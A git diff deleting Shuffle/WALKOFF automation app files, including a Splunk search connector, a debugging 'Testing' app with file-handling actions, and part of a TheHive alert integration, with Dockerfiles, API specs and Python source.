tN69Vn1MOLZj6TMhZgt5SJkEH/AFiTmsvfsjUT1/g4Ix1i0xa3Uf7pzRWNzEysZnNR3KUOOrQye7Qu5Nlsv5yu/fon2L5c8WrFKx1H37Wvk3HGGGczIAAAJwuSOZkmvlcjl166XZMdTtMe2l1Jk48xlZLzIXRNcxreLlRVTSGvkZYy35RC+W/O22UYsz9IA/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/2Q== diff --git a/splunk/1.0.0/docker-compose.yml b/splunk/1.0.0/docker-compose.yml deleted file mode 100644 index ad612c5d..00000000 --- a/splunk/1.0.0/docker-compose.yml +++ /dev/null @@ -1,14 +0,0 @@ -version: '3.4' -services: - splunk: - build: - context: . - dockerfile: Dockerfile - env_file: - - env.txt - restart: "no" - deploy: - mode: replicated - replicas: 10 - restart_policy: - condition: none diff --git a/splunk/1.0.0/env.txt b/splunk/1.0.0/env.txt deleted file mode 100644 index b5568707..00000000 --- a/splunk/1.0.0/env.txt +++ /dev/null @@ -1,4 +0,0 @@ -REDIS_URI=redis://redis -REDIS_ACTION_RESULT_CH=action-results -REDIS_ACTION_RESULTS_GROUP=action-results-group -APP_NAME=splunk diff --git a/splunk/1.0.0/requirements.txt b/splunk/1.0.0/requirements.txt deleted file mode 100644 index c5a5f6ea..00000000 --- a/splunk/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -python-magic==0.4.18 -requests==2.25.1 \ No newline at end of file diff --git a/splunk/1.0.0/src/app.py b/splunk/1.0.0/src/app.py deleted file mode 100644 index a9a10be4..00000000 --- a/splunk/1.0.0/src/app.py +++ /dev/null @@ -1,124 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -import asyncio -import time -import random -import requests -import urllib3 -import json - -from walkoff_app_sdk.app_base import AppBase - -class Splunk(AppBase): - """ - Splunk integration for WALKOFF with some basic features - """ - __version__ = "1.0.0" - app_name = "splunk" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - self.verify = False - self.timeout = 10 - urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) - super().__init__(redis, logger, console_logger) - - def echo(self, input_data): - return input_data - - def run_search(self, auth, url, query): - url = '%s/services/search/jobs?output_mode=json' % (url) - ret = requests.post(url, auth=auth, data=query, timeout=self.timeout, verify=False) - return ret - - def get_search(self, auth, url, search_sid): - # Wait for search to be done? - firsturl = '%s/services/search/jobs/%s?output_mode=json' % (url, search_sid) - print("STARTED FUNCTION WITH URL %s" % firsturl) - time.sleep(0.2) - maxrunduration = 30 - ret = "No results yet" - while(True): - try: - ret = requests.get(firsturl, auth=auth, timeout=self.timeout, verify=False) - except requests.exceptions.ConnectionError: - print("Sleeping for 1 second") - time.sleep(1) - continue - - try: - content = ret.json()["entry"][0]["content"] - except KeyError as e: - print("\nKEYERROR: %s\n" % content) - time.sleep(1) - continue - - try: - if content["resultCount"] > 0 or content["isDone"] or content["isFinalized"] or content["runDuration"] > maxrunduration: - print("CONTENT PRE EVENTS: ", content) - eventsurl = '%s/services/search/jobs/%s/events' % (url, search_sid) - print("Running events check towards %s" % eventsurl) - try: - newret = requests.get(eventsurl, auth=auth, timeout=self.timeout, verify=False) - if ret.status_code < 300 and ret.status_code >= 200: - return newret.text - else: - return "Bad status code for events: %sd", ret.status_code - except requests.exceptions.ConnectionError: - return "Events requesterror: %s" % e - except KeyError: - try: - return ret.json()["messages"] - except KeyError as e: - return "KeyError: %s" % e - - time.sleep(1) - - return ret - - def SplunkQuery(self, url, username, password, query, result_limit=100, earliest_time="-24h", latest_time="now"): - auth = (username, password) - - # "latest_time": "now" - query = { - "search": "| search %s" % query, - "exec_mode": "normal", - "count": result_limit, - "earliest_time": earliest_time, - "latest_time": latest_time - } - - print("Current search: %s" % query["search"]) - - try: - ret = self.run_search(auth, url, query) - except requests.exceptions.ConnectTimeout as e: - print("Timeout: %s" % e) - return "Timeout: %s" % e - - if ret.status_code != 201: - print("Bad status code: %d" % ret.status_code) - return "Bad status code: %d" % ret.status_code - - search_id = ret.json()["sid"] - - print("Search ID: %s" % search_id) - - ret = self.get_search(auth, url, search_id) - return ret - #if len(ret.json()["entry"]) == 1: - # count = ret.json()["entry"][0]["content"]["resultCount"] - # print("Result: %d" % count) - # return str(count) - - #print("No results (or wrong?): %d" % (len(ret.json()["entry"]))) - #return "No results" - -if __name__ == "__main__": - Splunk.run() diff --git a/testing/1.0.0/Dockerfile b/testing/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/testing/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/testing/1.0.0/api.yaml b/testing/1.0.0/api.yaml deleted file mode 100644 index e1ee1c6c..00000000 --- a/testing/1.0.0/api.yaml +++ /dev/null @@ -1,178 +0,0 @@ -app_version: 1.0.0 -name: Testing -description: Debugging app for Shuffle -tags: - - Testing -categories: - - Testing -contact_info: - name: "@frikkylikeme" - url: https://shuffler.io - email: frikky@shuffler.io -actions: - - name: hello_world - description: Returns Hello World from the hostname the action is run on - returns: - example: HELLO WORLD FROM host.name - returns: - schema: - type: string - - name: repeat_back_to_me - description: Repeats the call parameter - parameters: - - name: call - description: The message to repeat - required: true - multiline: true - example: "REPEATING: Hello world" - schema: - type: string - returns: - schema: - type: string - - name: repeat_back_to_me_multi - description: Repeats the call parameter - parameters: - - name: call - description: The message to repeat - required: true - multiline: true - example: "REPEATING: Hello world" - schema: - type: string - - name: call2 - description: The message to repeat - required: true - multiline: true - example: "REPEATING: Hello world" - schema: - type: string - - name: call3 - description: The message to repeat - required: true - multiline: true - example: "REPEATING: Hello world" - schema: - type: string - returns: - schema: - type: string - - name: return_plus_one - description: Increments the number parameter by 1 - parameters: - - name: number - description: number to increment - required: true - schema: - type: number - example: number(2) - returns: - schema: - type: number - - name: get_type - description: Get the type of a variable - parameters: - - name: value - description: The value to check - required: true - example: '{"return": number(0)}' - schema: - type: string - returns: - schema: - type: number - - name: pause - description: Pause execution by the seconds parameter - parameters: - - name: seconds - description: seconds to pause for - required: true - example: number(3) - schema: - type: number - returns: - schema: - type: number - - name: raise_error - description: This function doesn't exist and is here to test errors - returns: - schema: - type: string - - name: input_options_test - description: Input testing Shuffle - parameters: - - name: call - description: The message to repeat - options: - - hey - - how - - are - - you - required: true - multiline: true - example: "REPEATING: Hello world" - schema: - type: string - returns: - schema: - type: string - - name: get_file_value - description: This function is made for reading file(s), printing their data - parameters: - - name: filedata - description: The files - required: true - multiline: true - example: "REPEATING: Hello world" - schema: - type: file - returns: - schema: - type: string - - name: create_file - description: Returns uploaded file data - parameters: - - name: filename - description: - required: true - multiline: false - example: "test.txt" - schema: - type: string - - name: data - description: - required: true - multiline: true - example: "Some data to put in the file" - schema: - type: string - returns: - schema: - type: file - - name: download_file - description: Downloads a file from a URL - parameters: - - name: url - description: - required: true - multiline: false - example: "https://secure.eicar.org/eicar.com.txt" - schema: - type: string - returns: - schema: - type: string - - name: delete_file - description: Deletes a file based on ID - parameters: - - name: file_id - description: - required: true - multiline: false - example: "Some data to put in the file" - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/testing/1.0.0/requirements.txt b/testing/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/testing/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/testing/1.0.0/run b/testing/1.0.0/run deleted file mode 100755 index e73f748d..00000000 --- a/testing/1.0.0/run +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/sh -docker stop frikky/shuffle:testing_1.0.0 --force -docker rm frikky/shuffle:testing_1.0.0 --force -docker rmi frikky/shuffle:testing_1.0.0 --force - -docker build . -t frikky/shuffle:testing_1.0.0 - -echo "RUNNING!\n\n" -docker run \ - --env CALLBACK_URL="http://192.168.239.144:5001" \ - --env ACTION='{"app_name":"testing","app_version":"1.0.0","errors":[],"id_":"13fa4c3f-8991-3ade-b90d-f326fd4941dd","is_valid":true,"label":"random_number","environment":"onprem","name":"random_number","parameters":[],"position":{"x":178.07868996109607,"y":457.28345902971614},"priority":3}' \ - --env FUNCTION_APIKEY="asdasd" \ - --env EXECUTIONID="2349bf96-51ad-68d2-5ca6-75ef8f7ee814" \ - --env AUTHORIZATION="8e344a2e-db51-448f-804c-eb959a32c139" \ - frikky/shuffle:testing_1.0.0 - -docker push frikky/shuffle:testing_1.0.0 diff --git a/testing/1.0.0/src/app.py b/testing/1.0.0/src/app.py deleted file mode 100644 index de090ef2..00000000 --- a/testing/1.0.0/src/app.py +++ /dev/null @@ -1,101 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import requests - -from walkoff_app_sdk.app_base import AppBase - -class HelloWorld(AppBase): - """ - An example of a Walkoff App. - Inherit from the AppBase class to have Redis, logging, and console logging set up behind the scenes. - """ - __version__ = "1.0.0" - app_name = "hello_world" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def hello_world(self): - """ - Returns Hello World from the hostname the action is run on - :return: Hello World from your hostname - """ - message = f"Hello World from {socket.gethostname()} in workflow {self.current_execution_id}!" - - # This logs to the docker logs - self.logger.info(message) - - return message - - def repeat_back_to_me(self, call): - return call - - def repeat_back_to_me_multi(self, call, call2, call3): - return {"call1": call, "call2": call2, "call3": call3} - - def return_plus_one(self, number): - return int(number) + 1 - - def pause(self, seconds): - time.sleep(seconds) - return "Waited %d seconds" % seconds - - def get_type(self, value): - return "Type: %s" % type(value) - - def input_options_test(self, call): - return "Value: %s" % call - - def get_file_value(self, filedata): - if filedata == None: - return "File is empty?" - - print("INSIDE APP DATA: %s" % filedata) - return "%s" % filedata["data"].decode() - - def create_file(self, filename, data): - print("Inside function") - filedata = { - "filename": filename, - "data": data, - } - - fileret = self.set_files([filedata]) - value = {"success": True, "file_ids": fileret} - return value - #print("Done with upload function") - - #return ("Successfully put your data in a file", filedata) - - def download_file(self, url): - ret = requests.get(url, verify=False) - fileret = self.set_files([{ - "filename": "downloaded", - "data": ret.content, - }]) - - value = {"success": True, "file_ids": fileret} - return value - - #return ("Successfully put your data in a file", filedata) - - def delete_file(self, file_id): - headers = { - "Authorization": "Bearer %s" % self.authorization, - } - print("HEADERS: %s" % headers) - - ret = requests.delete("%s/api/v1/files/%s?execution_id=%s" % (self.base_url, file_id, self.current_execution_id), headers=headers) - return ret.text - -if __name__ == "__main__": - HelloWorld.run() diff --git a/testing/1.0.0/tmp.py b/testing/1.0.0/tmp.py deleted file mode 100644 index 2c3698ea..00000000 --- a/testing/1.0.0/tmp.py +++ /dev/null @@ -1,128 +0,0 @@ -import json -import re - -# This whole thing should be recursive. -basejson = [{'highlight_ranges': {}, 'message': {'Alert': 'Account Manipulation', '_id': 'd097c6f2-f6b6-11ea-aaa1-0050569f425d', 'timestamp': '2020-09-14T18:19:24.427Z'}, 'index': 'test', 'decoration_stats': None}, {'highlight_ranges': {}, 'message': {'Alert': 'Account Manipulation', '_id': 'd099c2c3-f6b6-11ea-aaa1-0050569f425d', 'timestamp': '2020-09-14T18:19:24.427Z'}, 'index': 'test', 'decoration_stats': None}, {'highlight_ranges': {}, 'message': {'Alert': 'Account Manipulation', '_id': 'd097c6f2-f6b6-11ea-aaa1-0050569f425d', 'timestamp': '2020-09-14T18:19:24.427Z'}, 'index': 'mitre_0', 'decoration_stats': None}, {'highlight_ranges': {}, 'message': {'Alert': 'Account Manipulation', '_id': 'd099c2c3-f6b6-11ea-aaa1-0050569f425d', 'timestamp': '2020-09-14T18:19:24.427Z'}, 'index': 'mitre_0', 'decoration_stats': None}, {'highlight_ranges': {}, 'message': {'Alert': 'Notepad connecting to the internet', '_id': 'c789d084-f6b6-11ea-aaa1-0050569f425d', 'timestamp': '2020-09-14T18:19:09.444Z'}, 'index': '1_207', 'decoration_stats': None}, {'highlight_ranges': {}, 'message': {'Alert': 'Notepad connecting to the internet', '_id': 'c789d084-f6b6-11ea-aaa1-0050569f425d', 'timestamp': '2020-09-14T18:19:09.444Z'}, 'index': 'mitre_0', 'decoration_stats': None}, {'highlight_ranges': {}, 'message': {'Alert': 'Obfuscating Hacking Commands', '_id': 'ae8ad8f5-f6b5-11ea-aaa1-0050569f425d', 'timestamp': '2020-09-14T18:11:17.202Z'}, 'index': 'mitre_0', 'decoration_stats': None}, {'highlight_ranges': {}, 'message': {'Alert': 'Account Manipulation', '_id': '0f9d3001-f6b3-11ea-aaa1-0050569f425d', 'timestamp': '2020-09-14T17:52:31.810Z'}, 'index': 'test_201', 'decoration_stats': None}, {'highlight_ranges': {}, 'message': {'Alert': 'Account Manipulation', '_id': '0f9d3000-f6b3-11ea-aaa1-0050569f425d', 'timestamp': '2020-09-14T17:52:31.810Z'}, 'index': 'test_201', 'decoration_stats': None}, {'highlight_ranges': {}, 'message': {'Alert': 'Account Manipulation', '_id': '0f9d3001-f6b3-11ea-aaa1-0050569f425d', 'timestamp': '2020-09-14T17:52:31.810Z'}, 'index': 'mitre_0', 'decoration_stats': None}, {'highlight_ranges': {}, 'message': {'Alert': 'Account Manipulation', '_id': '0f9d3000-f6b3-11ea-aaa1-0050569f425d', 'timestamp': '2020-09-14T17:52:31.810Z'}, 'index': 'mitre_0', 'decoration_stats': None}] -#basejson = json.loads(baseresult) - -#ACTUAL: [('$Start_node.#.message', 'Start_node.', 'message')] -input_data = "$Start_node.#4:max.message.Alert" - - -def recurse_loop(basejson, parsersplit): - #parsersplit = input_data.split(".") - - match = "#(\d+):?-?([0-9a-z]+)?#?" - print("Split: %s\n%s" % (parsersplit, basejson)) - try: - outercnt = 0 - for value in parsersplit: - print("VALUE: %s\n" % value) - actualitem = re.findall(match, value, re.MULTILINE) - if value == "#": - newvalue = [] - for innervalue in basejson: - # 1. Check the next item (message) - # 2. Call this function again - - try: - ret = recurse_loop(innervalue, parsersplit[outercnt+1:]) - except IndexError: - print("INDEXERROR: ", parsersplit[outercnt]) - #ret = innervalue - ret = recurse_loop(innervalue, parsersplit[outercnt:]) - - print(ret) - #exit() - newvalue.append(ret) - - return newvalue - elif len(actualitem) > 0: - # FIXME: This is absolutely not perfect. - print("IN HERE: ", actualitem) - - newvalue = [] - firstitem = actualitem[0][0] - seconditem = actualitem[0][1] - if seconditem == "": - print("In first") - basejson = basejson[int(firstitem)] - else: - if seconditem == "max": - seconditem = len(basejson) - if seconditem == "min": - seconditem = 0 - - newvalue = [] - for i in range(int(firstitem), int(seconditem)): - # 1. Check the next item (message) - # 2. Call this function again - print("Base: %s" % basejson[i]) - - try: - ret = recurse_loop(basejson[i], parsersplit[outercnt+1:]) - except IndexError: - print("INDEXERROR: ", parsersplit[outercnt]) - #ret = innervalue - ret = recurse_loop(innervalue, parsersplit[outercnt:]) - - print(ret) - #exit() - newvalue.append(ret) - - return newvalue - else: - #print("BEFORE NORMAL VALUE: ", basejson, value) - if len(value) == 0: - return basejson - - if isinstance(basejson[value], str): - print(f"LOADING STRING '%s' AS JSON" % basejson[value]) - try: - basejson = json.loads(basejson[value]) - except json.decoder.JSONDecodeError as e: - print("RETURNING BECAUSE '%s' IS A NORMAL STRING" % basejson[value]) - return basejson[value] - else: - basejson = basejson[value] - - outercnt += 1 - - except KeyError as e: - print("Lower keyerror: %s" % e) - #return basejson - #return "KeyError: Couldn't find key: %s" % e - - return basejson - -ret = recurse_loop(basejson, input_data.split(".")[1:]) -print(ret) - - - - # FIXME - not recursive - should go deeper if there are more # - #print("HANDLE RECURSIVE LOOP OF %s" % basejson) - #returnlist = [] - #try: - # for innervalue in basejson: - # print("Value: %s" % innervalue[parsersplit[cnt+1]]) - # returnlist.append(innervalue[parsersplit[cnt+1]]) - #except IndexError as e: - # print("Indexerror inner: %s" % e) - # # Basically means its a normal list, not a crazy one :) - # # Custom format for ${name[0,1,2,...]}$ - # indexvalue = "${NO_SPLITTER%s}$" % json.dumps(basejson) - # if len(returnlist) > 0: - # indexvalue = "${NO_SPLITTER%s}$" % json.dumps(returnlist) - - # print("INDEXVAL: ", indexvalue) - # return indexvalue - #except TypeError as e: - # print("TypeError inner: %s" % e) - - ## Example format: ${[]}$ - #parseditem = "${%s%s}$" % (parsersplit[cnt+1], json.dumps(returnlist)) - #print("PARSED LOOP ITEM: %s" % parseditem) - - ## FIXME: Always only does one iter here :( - #return parseditem diff --git a/thehive/1.0.0/Dockerfile b/thehive/1.0.0/Dockerfile deleted file mode 100644 index bfa83edc..00000000 --- a/thehive/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -RUN apk --no-cache add --update libmagic - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/thehive/1.0.0/api.yaml b/thehive/1.0.0/api.yaml deleted file mode 100644 index 8faedceb..00000000 --- a/thehive/1.0.0/api.yaml +++ /dev/null @@ -1,472 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: thehive -description: TheHive implementation for Shuffle -tags: - - Ticketing - - Search -categories: - - Ticketing - - Search -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky -authentication: - required: true - parameters: - - name: apikey - description: The Apikey to use - example: "*****" - required: true - schema: - type: string - - name: url - description: The URL to use - example: "http://localhost:9000" - required: true - schema: - type: string -actions: - - name: create_alert - description: Create an alert in TheHive - parameters: - - name: type - description: The type to use for the alert - example: "incident" - required: true - schema: - type: string - - name: source - description: The source to use - example: "SIEM" - required: true - schema: - type: string - - name: sourceref - description: The source reference to use - example: "incident-1234" - required: true - schema: - type: string - - name: title - description: The title to use - example: "THIS IS AN INCIDENT, PANIC" - required: false - schema: - type: string - - name: description - description: The description to use - example: "" - required: false - multiline: true - schema: - type: string - - name: tlp - description: The tlp to use - example: "2" - required: false - schema: - type: string - - name: severity - description: The severity to use - example: "2" - required: false - schema: - type: string - - name: tags - description: The tags to use - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - returns: - example: '{"data": "this is a test", "this_is_a_number": 1, "this_is_a_list": [{"item": [{"hello": "there", "how_is_this": {"sub_in_sub": [{"another": "list"}]}}]}, {"item": "2"}], "subobject": {"data": "subobject"}}' - schema: - type: string - - name: create_alert_artifact - description: Create an alert artifact (TheHive 4 ONLY) - parameters: - - name: alert_id - description: Alert identifier - example: "~1234" - required: true - schema: - type: string - - name: dataType - description: "Observable's type, must be a valid type, one of the defined data types in TheHive" - example: "ip" - required: true - schema: - type: string - - name: data - description: Observable's data/value - example: "8.8.8.8" - required: true - schema: - type: string 